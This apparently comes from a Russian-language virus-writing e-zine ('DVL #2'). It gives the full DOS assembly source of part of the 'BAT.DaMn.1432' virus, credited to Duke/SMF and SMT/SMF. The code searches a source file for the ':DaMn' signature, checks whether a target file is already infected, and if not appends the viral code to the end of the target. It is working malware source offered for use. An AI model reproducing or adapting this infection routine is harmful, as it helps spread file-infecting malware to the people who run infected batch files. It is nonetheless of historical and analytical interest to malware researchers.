
[0;1;35m                                D V L  # 2

[33m                               BAT.DaMn.1432
                         (c) by Duke/SMF & SMT/SMF

[31m                               Продолжение

[36m===== Cut here =====
[0;37m; Ограничения:
;       Исходный файл  - не более 64K
;       Поражаемый файл - не более 64K
;       Свободная DOS память - 128K
; Параметры запуска должны идти через _один_ пробел (!)
;       Сигнатура =  0d,0a,':DaMn'

.model tiny
.code
        org 100h
Start:  mov ah,4ah
        mov bx,100h
        int 21h        ; shrink program segment to 4096 bytes
        cld
        mov di,81h
        mov ax,0020h   ; spacebar
        mov ch,al
        cmp cs:[di],al
        jnz sksp
        inc di
sksp:
        push di
        repnz scasb    ; find a space in command line between params
        mov word ptr cs:next,di
        dec di
        mov byte ptr cs:[di],0
        mov si,di
        inc si
m1:     lodsb          ; trying to find end of second command line parameter
        cmp al,' '
        jg m1
        dec si
        mov byte ptr cs:[si],0

        mov ax,3d00h
        pop dx
        int 21h        ; open source
        push ax

        mov ah,48h
        mov bx,1000h   ; get 64K of dos memory for source
        int 21h
        mov es,ax
        mov ds,ax

        pop bx
        mov cx,0ffffh
        mov ah,3fh
        xor dx,dx
        int 21h        ; read ax bytes
        push ax        ; push file length

        mov ah,3eh
        int 21h        ; close source

        xor si,si
cmp2:   push si        ; searching for 0d,0a,':DeMo'
        lodsb
        cmp al,0dh
        jnz erro
        lodsw
        cmp ax,0ah+100h*':'
        jnz erro
        lodsw
        cmp ax,'D'+100h*'a'
        jnz erro
        lodsw
        cmp ax,'M'+100h*'n'
        jz found
erro:   pop si
        inc si
        jmp cmp2
found:
        mov ax,cs
        mov ds,ax
        mov ax,3d02h   ; open for read/write
        mov dx,0000h   ; POINTER TO FILENAME
next    equ $-2
        int 21h        ; open target file
        mov bx,ax
        push es
        push bx

        mov bx,1000h
        mov ah,48h
        int 21h        ; Get 64K for target file
        mov ds,ax
        mov es,ax

        mov ax,4200h
        pop bx
        xor cx,cx
        xor dx,dx
        int 21h        ; 'reset' target file

        mov cx,0ffffh
        mov ah,3fh
        xor dx,dx
        int 21h        ; read target file
        mov cx,ax      ; length

        xor si,si
cm2:    push si        ; searching for 0d,0a,':DeMo'
        lodsb
        cmp al,0dh
        jnz error
        lodsw
        cmp ax,0ah+100h*':'
        jnz error
        lodsw
        cmp ax,'D'+100h*'a'
        jnz error
        lodsw
        cmp ax,'M'+100h*'n'
        jz found1
error:  pop si
        inc si
        loop cm2
        jmp notfound
found1: mov ah,49h
        int 21h        ; free target buffer
        pop ax
        pop es
        jmp exi
notfound:
        mov ah,49h
        int 21h        ; free target buffer
        pop es

        mov ax,4202h
        xor cx,cx
        xor dx,dx
        int 21h        ; seek from EOF

        pop dx         ; signature location
        pop cx         ; pop file length
        sub cx,dx      ; calc. length
        mov ax,es
        mov ds,ax
        mov ah,40h
        int 21h        ; write to end of target file

        mov ah,3eh
        int 21h        ; close target
exi:
        mov ah,49h
        int 21h        ; free memory of target

exit:   mov ax,4c00h
        int 21h        ; exit

        db  '[DaMn, Duke & SMT // SMF]'
        end Start
[1;36m===== Cut here =====
[37m Исходники смотрите в файле "dvl2-03a.zip"
[1;35m                            The End of File